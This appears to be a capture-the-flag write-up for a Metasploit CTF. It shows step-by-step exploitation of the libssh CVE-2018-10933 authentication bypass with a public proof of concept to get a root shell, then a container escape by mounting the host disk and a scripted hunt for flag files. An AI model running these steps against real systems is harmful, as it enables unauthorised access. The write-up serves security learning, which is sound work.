Greetings from SSH2_MSG_USERAUTH_SUCCESS.
From a previous portscan, we knew on port
2222 of our Linux target a ssh server is running. To actually exploit it knowing the application and its version would be pretty helpful. To do this I used
auxiliary/scanner/ssh/ssh_version which is a module available in Metasploit (it is a Metasploit CTF after all).
msf5 > use auxiliary/scanner/ssh/ssh_version msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 172.16.67.149 msf5 auxiliary(scanner/ssh/ssh_version) > set RPORT 2222 msf5 auxiliary(scanner/finger/finger_users) > run [+] 172.16.67.149:2222 - SSH server version: SSH-2.0-libssh_0.8.3 ( service.version=0.8.3 service.family=libssh service.product=libssh service.vendor=libssh service.cpe23=cpe:/a:libssh:libssh:0.8.3 service.protocol=ssh fingerprint_db=ssh.banner )
Huh, libssh? I think there was something in the media about a vulnerability in this application some time ago.
Greetings from CVE-2018-10933
After a quick search, CVE-2018-10933 popped out to be said vulnerability. Google also linked us to github.com/hackerhouse-opensource/cve-2018-10933 which is an example exploit of the said vulnerability. Now we only need to get it up and running and hope it is working.
To do this we first need to build our modified
$ git clone https://github.com/hackerhouse-opensource/cve-2018-10933.git $ cd cve-2018-10933/ $ xz -d libssh-0.8.3.tar.xz $ tar -xvf libssh-0.8.3.tar $ cd libssh-0.8.3/ $ patch -p0 < ../cve-2018-10933.patch $ sudo apt install zlib1g-dev libssl-dev $ mkdir build && cd build $ cmake .. $ make
Now we only need to connect to the vulnerable host:
$ examples/ssh-client -l root 172.16.67.149 -p 2222 f7a5828691fc:/#
Success! We are greeted with an open shell and can investigate the host for the flag.
Finding the flag
Finding the flag proved more time consuming than though. It simply was not present in the file system. Starting with simple
find commands, and later by writing a script to match the magic number of a PNG, I crawled the whole filesystem multiple times without luck.
Thanks to a poke of @d3v1l about this challenge. I tried it again and finally found the solution. It was just obvious, but I ignored it at the beginning. Just look at the output of
$ df -hT Filesystem Type Size Used Available Use% Mounted on none aufs 7.7G 6.5G 1.2G 84% / tmpfs tmpfs 999.2M 0 999.2M 0% /dev tmpfs tmpfs 999.2M 0 999.2M 0% /sys/fs/cgroup udev devtmpfs 978.7M 0 978.7M 0% /dev/snd /dev/xvda1 ext4 7.7G 6.5G 1.2G 84% /etc/resolv.conf /dev/xvda1 ext4 7.7G 6.5G 1.2G 84% /etc/hostname /dev/xvda1 ext4 7.7G 6.5G 1.2G 84% /etc/hosts shm tmpfs 64.0M 0 64.0M 0% /dev/shm
/dev/xvda1 is mounted multiple times on different files.
Let’s look into the files for the start:
$ cat /etc/hostname f7a5828691fc
$ cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver 172.16.0.2 search ec2.internal
$ cat /etc/hosts 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.17.0.5 f7a5828691fc
Does not seem to be of interest for now. We could just be silly and try to mount
$ mount /dev/xvda1 /mnt $ ls /mnt/ bin etc initrd.img.old lost+found opt run srv usr vmlinuz.old boot home lib media proc sbin sys var dev initrd.img lib64 mnt root snap tmp vmlinuz
We are greeted with a new filesystem. Seems we solved the challenge mostly. Now we only need to find the flag. To do this I will use the script written before to have a robust find function. Please note
file is not available on the system so we need to work around that limitation and match the magic number ourself:
#!/bin/sh if [ $# -eq 0 ] then echo "Usage: $0 <search_root_dir>" exit fi echo "------ start in directory: \"$1\"" find "$1" -type f | while read fname; do #echo "test: $fname" if hexdump -n8 "$fname" | grep -qF "0000000 5089 474e 0a0d 0a1a"; then echo "PNG MATCH: \"$fname\"" fi; done echo "------ end"
To upload it I simply did a
echo '<my script content here>' > find_flag.sh and set the executable flag (
chmod +x find_flag.sh). Now I only need to execute it on our mounted directory:
$ ./find_png.sh /mnt/ ------ start in directory: "/root//mnt/" PNG MATCH: "/mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag" <some useless png files> PNG MATCH: "/mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag" <some useless png files> ------ end
We find two PNG’s which are named like a flag :). Obviously they are the same looking at their md5sum:
$ md5sum /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag 812f6391ec42bf3c227e2c20998ce788 /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag $ md5sum /mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag 812f6391ec42bf3c227e2c20998ce788 /mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag
We managed to find the flag. Now we only need to download it, because we do not know which challenge it belongs to. To do this I will do a simple transfer by encoding it in base64 and copy-paste the output:
$ cd /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/ $ cat flag | base64
To decode it we can copy the output into a file and do a base64 decode:
$ cat flag.base64 | base64 -d > flag.png
We found the 6 of Hearts.
In the Slack channel @Warriar gave me the hint that we actually had access to way more flags than
./find_png.sh script, unfortunately, gave me so much garbage output that I did not search through all results. Doing that would have resulted in finding quite more flags (even though I don’t think this was intended).
Lesson learned: don’t stop on the first flag.
A short recap of flags I was able to find after the competition:
$ find /mnt/ -name *_of*.png /mnt/var/lib/docker/aufs/diff/8ea58d85074e146d881c09cff5e2fa8adb4c4ca0cfb20f799d97de098ba30e04/usr/share/nginx/html/9_of_hearts.png
This gave me not a valid png at the start. @asoto-r7 gave me the hint that the endian is changed (verified with the hex-editor). I was told that
dd is able to fix this, which was a nice hint. My first approach to change the endian involved a buggy program which seemed to had problems with an odd number of bytes.
$ dd conv=swab < original.png > success.png
$ find /mnt/ -name *diamond* /mnt/var/lib/docker/aufs/diff/fcfeaaa4d9d06cfa1073885de5bffa0d495bf50d3e31c7e1b15d60e248be1905/8_of_diamonds /mnt/var/lib/docker/aufs/diff/2f4f5e4ca79188915e26036af7dabd44c71c51f8d1e3bf96afe42dc27ddd9a13/8_of_diamonds
Looks promising, but is only the web space. We solved the challenge in another way.
$ find /mnt/ -name *hearts /mnt/var/lib/docker/aufs/diff/f3df673d9ceeabbf68d6acd3502b730fe6c535e93580a7a7596c269a8b66a824/usr/local/tomcat/tmp/10_of_hearts
Another challenge where we found the flag in its intended way before :).
I also run the following query which simply means: “give me all PNG’s without
png in the name”. No new flags found though:
$ ./find_flag.sh /mnt/ | grep -v png ------ start in directory: "/mnt/" PNG MATCH: "/mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag" PNG MATCH: "/mnt/var/lib/docker/aufs/diff/ffd1d8afbf6ced7fa126401845f9751ed7883d87c55227f8ffd4e7e6d25a0776/metasploit-framework/lib/msf/core/web_services/public/favicon.ico" PNG MATCH: "/mnt/var/lib/docker/aufs/diff/f3df673d9ceeabbf68d6acd3502b730fe6c535e93580a7a7596c269a8b66a824/usr/local/tomcat/tmp/10_of_hearts" PNG MATCH: "/mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag" PNG MATCH: "/mnt/var/lib/docker/aufs/diff/c8f36ec2cb444ba63ecde6ec534f1fe84bef23dc44c46196b6a4fac86b4b3ba8/metasploit-framework/lib/msf/core/web_services/public/favicon.ico" hexdump: /mnt/etc/systemd/system/snap-amazonx2dssmx2dagent-495.mount: No such file or directory ------ end
I can likely access other flags as well. I was simply doing some quick glance after the CTF to get some idea how much I missed :). Now I know better.